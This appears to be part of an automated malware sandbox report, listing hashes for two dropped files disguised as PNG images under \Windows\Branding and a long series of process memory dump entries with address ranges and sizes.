SHA512
cb0bf919c30fa62cdb78b6beb5c76fe5513295a64d5b8aff69f97c977a32b8c3af40d6567f1a805cf3049e4122cf4815390c390a784f5b4cfea7f90fd146545f

Download Submit
\Windows\Branding\mediasrv.png

MD5
44161e115bf968d5b616d254be2f38a1

SHA1
b801a9318b1fc89996f76055c69e071e0fed368a

SHA256
2750122708b726eb5e75869401dc6f3b663e8ca342924f8a713adfca86e80491

SHA512
375ab2fd36f9953faef09e10889535a0e8a5192c841d941998ff0f193d5b6702a26698149789f77925689c74edecb97a78382c2d2529c6ab10a47b723d3a185e

Download Submit
\Windows\Branding\mediasvc.png

MD5
7245ed7533b89d29f7f5bb35830d4560

SHA1
8efaef0babf855989e460451803032940ae0c7bd

SHA256
89549afa855d70f7bf33b1979541ab0e732c7cc16adb866efffe9d1e8be62638

SHA512
f19a1a72684cc54757d065133dd95122acce69744267fa49a55a5508263946953ad8bca4e2e3188e02a119948dac95a63c185d92c57f32dad51bfaa077a216f3

Download Submit
memory/364-163-0x0000000000000000-mapping.dmp

Download
memory/364-68-0x0000000000000000-mapping.dmp

Download
memory/364-78-0x00000000007E0000-0x00000000007E2000-memory.dmp

Filesize
8KB

Download
memory/396-142-0x0000000000000000-mapping.dmp

Download
memory/560-113-0x0000000000000000-mapping.dmp

Download
memory/560-151-0x0000000000000000-mapping.dmp

Download
memory/592-116-0x0000000000000000-mapping.dmp

Download
memory/620-80-0x0000000000000000-mapping.dmp

Download
memory/620-85-0x0000000002872000-0x0000000002874000-memory.dmp

Filesize
8KB

Download
memory/620-86-0x0000000002874000-0x0000000002877000-memory.dmp

Filesize
12KB

Download
memory/620-83-0x000007FEEAA80000-0x000007FEEB5DD000-memory.dmp

Filesize
11.4MB

Download
memory/620-84-0x0000000002870000-0x0000000002872000-memory.dmp

Filesize
8KB

Download
memory/620-87-0x000000001B860000-0x000000001BB5F000-memory.dmp

Filesize
3.0MB

Download
memory/620-88-0x0000000002877000-0x0000000002878000-memory.dmp

Filesize
4KB

Download
memory/620-93-0x000000000287C000-0x000000000289B000-memory.dmp

Filesize
124KB

Download
memory/656-110-0x0000000000000000-mapping.dmp

Download
memory/748-121-0x0000000000000000-mapping.dmp

Download
memory/752-64-0x0000000002812000-0x0000000002814000-memory.dmp

Filesize
8KB

Download
memory/752-66-0x000000001B710000-0x000000001BA0F000-memory.dmp

Filesize
3.0MB

Download
memory/752-60-0x0000000000000000-mapping.dmp

Download
memory/752-77-0x000000000281B000-0x000000000283A000-memory.dmp

Filesize
124KB

Download
memory/752-61-0x000007FEFBB51000-0x000007FEFBB53000-memory.dmp

Filesize
8KB

Download
memory/752-62-0x000007FEEAA80000-0x000007FEEB5DD000-memory.dmp

Filesize
11.4MB

Download
memory/752-63-0x0000000002810000-0x0000000002812000-memory.dmp

Filesize
8KB

Download
memory/752-65-0x0000000002814000-0x0000000002817000-memory.dmp

Filesize
12KB

Download
memory/752-79-0x000000000283D000-0x000000000283E000-memory.dmp

Filesize
4KB

Download
memory/756-112-0x0000000000000000-mapping.dmp

Download
memory/824-164-0x0000000000000000-mapping.dmp

Download
memory/868-137-0x0000000000000000-mapping.dmp

Download
memory/920-115-0x0000000000000000-mapping.dmp

Download
memory/920-152-0x0000000000000000-mapping.dmp

Download
memory/924-117-0x0000000000000000-mapping.dmp

Download
memory/1040-120-0x0000000000000000-mapping.dmp

Download
memory/1060-122-0x0000000000000000-mapping.dmp

Download
memory/1076-143-0x0000000000000000-mapping.dmp

Download
memory/1124-54-0x0000000041320000-0x000000004171F000-memory.dmp

Filesize
4.0MB

Download
memory/1124-56-0x0000000028462000-0x0000000028464000-memory.dmp

Filesize
8KB

Download
memory/1124-59-0x0000000028467000-0x0000000028468000-memory.dmp

Filesize
4KB

Download
memory/1124-57-0x0000000028464000-0x0000000028466000-memory.dmp

Filesize
8KB

Download
memory/1124-58-0x0000000028466000-0x0000000028467000-memory.dmp

Filesize
4KB

Download
memory/1256-71-0x0000000000000000-mapping.dmp

Download
memory/1280-125-0x0000000000000000-mapping.dmp

Download
memory/1296-89-0x0000000000000000-mapping.dmp

Download
memory/1296-92-0x000007FEEAA80000-0x000007FEEB5DD000-memory.dmp

Filesize
11.4MB

Download
memory/1296-99-0x0000000002374000-0x0000000002377000-memory.dmp

Filesize
12KB

Download
memory/1296-94-0x0000000002377000-0x0000000002378000-memory.dmp

Filesize
4KB

Download
memory/1296-95-0x0000000002370000-0x0000000002372000-memory.dmp

Filesize
8KB

Download
memory/1296-97-0x0000000002372000-0x0000000002374000-memory.dmp

Filesize
8KB

Download
memory/1296-96-0x000000001B7E0000-0x000000001BADF000-memory.dmp

Filesize
3.0MB

Download
memory/1296-98-0x000000000237C000-0x000000000239B000-memory.dmp

Filesize
124KB

Download
memory/1308-126-0x0000000000000000-mapping.dmp

Download
memory/1324-114-0x0000000000000000-mapping.dmp

Download
memory/1324-162-0x0000000000000000-mapping.dmp

Download
memory/1336-136-0x0000000000000000-mapping.dmp

Download
memory/1368-128-0x0000000000000000-mapping.dmp

Download
memory/1408-118-0x0000000000000000-mapping.dmp

Download
memory/1460-147-0x0000000000000000-mapping.dmp

Download
memory/1460-123-0x0000000000000000-mapping.dmp

Download
memory/1476-127-0x0000000000000000-mapping.dmp

Download
memory/1612-104-0x00000000022D0000-0x00000000022D2000-memory.dmp

Filesize
8KB

Download
memory/1612-103-0x000007FEEAA80000-0x000007FEEB5DD000-memory.dmp

Filesize
11.4MB

Download
memory/1612-109-0x00000000022DC000-0x00000000022FB000-memory.dmp

Filesize
124KB

Download
memory/1612-100-0x0000000000000000-mapping.dmp

Download
memory/1612-108-0x000000001B8E0000-0x000000001BBDF000-memory.dmp

Filesize
3.0MB

Download
memory/1612-107-0x00000000022D7000-0x00000000022D8000-memory.dmp

Filesize
4KB

Download
memory/1612-105-0x00000000022D2000-0x00000000022D4000-memory.dmp

Filesize
8KB

Download
memory/1612-106-0x00000000022D4000-0x00000000022D7000-memory.dmp

Filesize
12KB

Download
memory/1644-161-0x0000000000000000-mapping.dmp

Download
memory/1648-156-0x000007FEEAA80000-0x000007FEEB5DD000-memory.dmp

Filesize
11.4MB

Download
memory/1648-159-0x0000000001124000-0x0000000001127000-memory.dmp

Filesize
12KB

Download
memory/1648-160-0x000000000112B000-0x000000000114A000-memory.dmp

Filesize
124KB

Download
memory/1648-158-0x0000000001122000-0x0000000001124000-memory.dmp

Filesize
8KB

Download
memory/1648-157-0x0000000001120000-0x0000000001122000-memory.dmp

Filesize
8KB

Download
memory/1648-154-0x0000000000000000-mapping.dmp

Download
memory/1652-153-0x0000000000000000-mapping.dmp

Download
memory/1652-119-0x0000000000000000-mapping.dmp

Download
memory/1664-124-0x0000000000000000-mapping.dmp

Download
memory/1676-146-0x0000000000000000-mapping.dmp

Download
memory/1688-135-0x0000000000000000-mapping.dmp

Download
memory/1736-130-0x0000000000000000-mapping.dmp

Download
memory/1752-140-0x0000000000000000-mapping.dmp

Download
memory/1760-129-0x0000000000000000-mapping.dmp

Download
memory/1768-131-0x0000000000000000-mapping.dmp

Download
memory/1776-148-0x0000000000000000-mapping.dmp

Download
memory/1836-139-0x0000000000000000-mapping.dmp

Download
memory/1880-145-0x0000000000000000-mapping.dmp

Download
memory/1936-134-0x0000000000000000-mapping.dmp

Download